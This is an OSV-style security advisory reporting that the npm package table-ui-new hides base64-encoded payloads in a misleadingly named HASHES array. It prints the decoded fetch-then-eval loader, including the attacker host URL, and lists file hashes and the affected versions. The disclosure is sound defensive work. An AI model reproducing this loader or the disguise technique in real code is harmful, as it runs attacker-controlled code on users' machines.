table-ui-new

{"schema_version":"1.7.4","id":"MAL-2026-12473","published":"2026-08-05T12:57:24Z","modified":"2026-08-19T01:36:49.804018925Z","summary":"Malicious code in table-ui-new (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (b0b953969edf8d77d5a1be0aa33b4044b38e2352f81c54b0f343f21a1c52c13a)\ntable-ui-new@2.7.4 ships dist/config.js, exposed via the package.json `./config` subpath export, which exports a module-level array named `HASHES` containing four base64-encoded strings. Each string decodes to an IIFE of the form `(async () => eval(await fetch('https://everydaynodechecker-39147n.vercel.app/api/key?mem=root[0-3]').then(r => r.text())))();` — an unconditional fetch of remote text from a hardcoded external Vercel host followed by eval() of the response. The misleading variable name `HASHES` disguises executable payloads as inert hash data. The main entry (dist/index.js) is a React hooks module and does not itself invoke these blobs, but the payloads are staged behind a public package export, and any consumer that imports `table-ui-new/config` receives the array of ready-to-eval remote-fetch IIFEs. The destination host is unrelated to the package's stated purpose (a React table UI library) and returns attacker-controlled JavaScript that would execute in the consumer's Node process with full host privileges.\n","affected":[{"package":{"name":"table-ui-new","ecosystem":"npm"},"versions":["2.7.5","2.7.2","2.7.4","2.7.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"dist/index.js","sha256":"d61706e7a639defb4a3bdae2e587390c6a9e4fc611a8145583a1c06966a59008","tlsh":"7c016d2f89ccaab2dbc82c390fe8a72e6e5304a8fd3416f37d0753d6811005d5224068"},{"path":"dist/config.js","sha256":"616fa9a2379d50ccd1a3658ab0d285554e1ecf419c5b7f2dd65b4e574862e6ec","tlsh":"89016d6f85cdeab2dbc81c390fe4ab2e6e5304a8bd3426f37e0b53d6811005d5224068"}],"package_integrity":[{"filename":"table-ui-new-2.7.5.tgz","hashes":{"sha1":"490964d0d856d10d82e829551e963f74f1090ef2","sha512_sri":"sha512-NJCD8KeOkkvXhvEidRosJnRm50s6+56K1eHKRdehc3Jfed+UgIHgPxz047EYxiTqpveR/NjURqvK4O2GMwDXkA=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/table-ui-new/v/2.7.5"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/table-ui-new/v/2.7.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/table-ui-new/v/2.7.4"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/table-ui-new/v/2.7.1"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-014823","import_time":"2026-08-05T13:08:49.308832413Z","modified_time":"2026-08-05T12:57:24Z","sha256":"7c794e6aa19f0ead7b319afcc854048f65b89eb008d40c3d1589591d341e80a3","source":"amazon-inspector","versions":["2.7.5"]},{"id":"IN-MAL-2026-014982","import_time":"2026-08-05T14:19:49.181542104Z","modified_time":"2026-08-05T13:35:22Z","sha256":"60dc7d2bac584c94b5f3ebba3ec8b25b197226fe5ceb75fe70ae11337df70c6a","source":"amazon-inspector","versions":["2.7.2"]},{"id":"IN-MAL-2026-018275","import_time":"2026-08-19T01:34:41.554670439Z","modified_time":"2026-08-19T01:17:06Z","sha256":"b0b953969edf8d77d5a1be0aa33b4044b38e2352f81c54b0f343f21a1c52c13a","source":"amazon-inspector","versions":["2.7.4"]},{"id":"IN-MAL-2026-018274","import_time":"2026-08-19T01:34:41.470383049Z","modified_time":"2026-08-19T01:16:59Z","sha256":"f622687c2999d14697ce81b0fd1aacf7e56a8585c46f219011bd95a71f060ced","source":"amazon-inspector","versions":["2.7.1"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}